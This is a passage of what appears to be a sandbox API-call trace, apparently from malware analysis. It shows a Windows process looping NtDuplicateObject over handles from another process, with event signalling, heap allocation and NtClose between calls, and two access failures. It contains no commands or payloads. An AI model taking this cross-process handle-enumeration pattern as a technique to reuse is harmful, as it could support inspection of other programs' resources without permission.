TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.197] ResetEvent (hEvent=0x114) returned 1 [0259.197] SetEvent (hEvent=0x110) returned 1 [0259.197] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.198] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.198] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.198] NtClose (Handle=0x1c4) returned 0x0 [0259.198] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x68, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.198] ResetEvent (hEvent=0x114) returned 1 [0259.198] SetEvent (hEvent=0x110) returned 1 [0259.198] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.198] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.198] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.198] NtClose (Handle=0x1c4) returned 0x0 [0259.198] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x6c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.198] ResetEvent (hEvent=0x114) returned 1 [0259.198] SetEvent (hEvent=0x110) returned 1 [0259.199] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.199] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.199] NtClose (Handle=0x1c4) returned 0x0 [0259.199] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x70, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.199] ResetEvent (hEvent=0x114) returned 1 [0259.199] SetEvent (hEvent=0x110) returned 1 [0259.199] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.200] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.200] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.200] NtClose (Handle=0x1c4) returned 0x0 [0259.200] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x74, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.200] ResetEvent (hEvent=0x114) returned 1 [0259.200] SetEvent (hEvent=0x110) returned 1 [0259.200] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.200] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.200] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.200] NtClose (Handle=0x1c4) returned 0x0 [0259.200] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x78, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.200] ResetEvent (hEvent=0x114) returned 1 [0259.200] SetEvent (hEvent=0x110) returned 1 [0259.200] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.201] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.201] NtClose (Handle=0x1c4) returned 0x0 [0259.201] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x7c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.201] ResetEvent (hEvent=0x114) returned 1 [0259.201] SetEvent (hEvent=0x110) returned 1 [0259.201] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.202] NtClose (Handle=0x1c4) returned 0x0 [0259.202] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x80, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.202] ResetEvent (hEvent=0x114) returned 1 [0259.202] SetEvent (hEvent=0x110) returned 1 [0259.202] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.202] NtClose (Handle=0x1c4) returned 0x0 [0259.202] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x84, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.202] ResetEvent (hEvent=0x114) returned 1 [0259.202] SetEvent (hEvent=0x110) returned 1 [0259.202] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.203] NtClose (Handle=0x1c4) returned 0x0 [0259.203] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x88, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.203] ResetEvent (hEvent=0x114) returned 1 [0259.203] SetEvent (hEvent=0x110) returned 1 [0259.203] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.203] NtClose (Handle=0x1c4) returned 0x0 [0259.204] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x8c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.204] ResetEvent (hEvent=0x114) returned 1 [0259.204] SetEvent (hEvent=0x110) returned 1 [0259.204] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.204] NtClose (Handle=0x1c4) returned 0x0 [0259.204] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x90, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.204] ResetEvent (hEvent=0x114) returned 1 [0259.204] SetEvent (hEvent=0x110) returned 1 [0259.204] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.205] NtClose (Handle=0x1c4) returned 0x0 [0259.205] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x94, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.205] ResetEvent (hEvent=0x114) returned 1 [0259.205] SetEvent (hEvent=0x110) returned 1 [0259.205] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.205] NtClose (Handle=0x1c4) returned 0x0 [0259.205] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x98, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.205] ResetEvent (hEvent=0x114) returned 1 [0259.205] SetEvent (hEvent=0x110) returned 1 [0259.206] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.206] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.206] NtClose (Handle=0x1c4) returned 0x0 [0259.206] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x9c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.206] ResetEvent (hEvent=0x114) returned 1 [0259.206] SetEvent (hEvent=0x110) returned 1 [0259.206] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.207] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.207] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.207] NtClose (Handle=0x1c4) returned 0x0 [0259.207] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xa0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.207] ResetEvent (hEvent=0x114) returned 1 [0259.207] SetEvent (hEvent=0x110) returned 1 [0259.207] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.207] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.207] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.207] NtClose (Handle=0x1c4) returned 0x0 [0259.207] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xa4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.207] ResetEvent (hEvent=0x114) returned 1 [0259.207] SetEvent (hEvent=0x110) returned 1 [0259.207] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.208] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.208] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.208] NtClose (Handle=0x1c4) returned 0x0 [0259.208] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xa8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.208] ResetEvent (hEvent=0x114) returned 1 [0259.208] SetEvent (hEvent=0x110) returned 1 [0259.208] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.209] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.209] NtClose (Handle=0x1c4) returned 0x0 [0259.209] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xac, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.209] ResetEvent (hEvent=0x114) returned 1 [0259.209] SetEvent (hEvent=0x110) returned 1 [0259.209] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.209] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.209] NtClose (Handle=0x1c4) returned 0x0 [0259.209] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xb0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.209] ResetEvent (hEvent=0x114) returned 1 [0259.209] SetEvent (hEvent=0x110) returned 1 [0259.209] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.210] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.210] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.210] NtClose (Handle=0x1c4) returned 0x0 [0259.210] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xb4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.210] ResetEvent (hEvent=0x114) returned 1 [0259.210] SetEvent (hEvent=0x110) returned 1 [0259.210] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.211] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.211] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.211] NtClose (Handle=0x1c4) returned 0x0 [0259.211] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xb8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.211] ResetEvent (hEvent=0x114) returned 1 [0259.211] SetEvent (hEvent=0x110) returned 1 [0259.211] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.211] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.211] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.211] NtClose (Handle=0x1c4) returned 0x0 [0259.211] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xbc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.211] ResetEvent (hEvent=0x114) returned 1 [0259.211] SetEvent (hEvent=0x110) returned 1 [0259.211] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.212] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.212] NtClose (Handle=0x1c4) returned 0x0 [0259.212] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xc0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc00000bb [0259.212] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xc4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.212] ResetEvent (hEvent=0x114) returned 1 [0259.212] SetEvent (hEvent=0x110) returned 1 [0259.212] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.213] NtClose (Handle=0x1c4) returned 0x0 [0259.213] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xc8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.213] ResetEvent (hEvent=0x114) returned 1 [0259.213] SetEvent (hEvent=0x110) returned 1 [0259.213] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.213] NtClose (Handle=0x1c4) returned 0x0 [0259.213] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xcc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.213] ResetEvent (hEvent=0x114) returned 1 [0259.213] SetEvent (hEvent=0x110) returned 1 [0259.213] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.214] NtClose (Handle=0x1c4) returned 0x0 [0259.214] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xd0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.214] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xd4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.214] ResetEvent (hEvent=0x114) returned 1 [0259.214] SetEvent (hEvent=0x110) returned 1 [0259.214] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.215] NtClose (Handle=0x1c4) returned 0x0 [0259.215] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xd8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.215] ResetEvent (hEvent=0x114) returned 1 [0259.215] SetEvent (hEvent=0x110) returned 1 [0259.215] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.215] NtClose (Handle=0x1c4) returned 0x0 [0259.215] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xdc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.215] ResetEvent (hEvent=0x114) returned 1 [0259.215] SetEvent (hEvent=0x110) returned 1 [0259.215] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.216] NtClose (Handle=0x1c4) returned 0x0 [0259.216] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xe0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.216] ResetEvent (hEvent=0x114) returned 1 [0259.216] SetEvent (hEvent=0x110) returned 1 [0259.216] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.217] NtClose (Handle=0x1c4) returned 0x0 [0259.217] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xe4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.217] ResetEvent (hEvent=0x114) returned 1 [0259.217] SetEvent (hEvent=0x110) returned 1 [0259.217] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.217] NtClose (Handle=0x1c4) returned 0x0 [0259.217] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xe8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.217] ResetEvent (hEvent=0x114) returned 1 [0259.217] SetEvent (hEvent=0x110) returned 1 [0259.217] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.218] NtClose (Handle=0x1c4) returned 0x0 [0259.218] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xec, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.218] ResetEvent (hEvent=0x114) returned 1 [0259.218] SetEvent (hEvent=0x110) returned 1 [0259.218] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.219] NtClose (Handle=0x1c4) returned 0x0 [0259.219] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xf0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.219] ResetEvent (hEvent=0x114) returned 1 [0259.219] SetEvent (hEvent=0x110) returned 1 [0259.219] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.219] NtClose (Handle=0x1c4) returned 0x0 [0259.219] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xf4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.219] ResetEvent (hEvent=0x114) returned 1 [0259.219] SetEvent (hEvent=0x110) returned 1 [0259.219] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.220] NtClose (Handle=0x1c4) returned 0x0 [0259.220] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xf8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.220] ResetEvent (hEvent=0x114) returned 1 [0259.220] SetEvent (hEvent=0x110) returned 1 [0259.220] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.253] NtClose (Handle=0x1c4) returned 0x0 [0259.253] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xfc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.253] ResetEvent (hEvent=0x114) returned 1 [0259.254] SetEvent (hEvent=0x110) returned 1 [0259.254] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.254] NtClose (Handle=0x1c4) returned 0x0 [0259.254] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x100, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.254] ResetEvent (hEvent=0x114) returned 1 [0259.254] SetEvent (hEvent=0x110) returned 1 [0259.255] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.255] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.255] NtClose (Handle=0x1c4) returned 0x0 [0259.255] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x104, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: 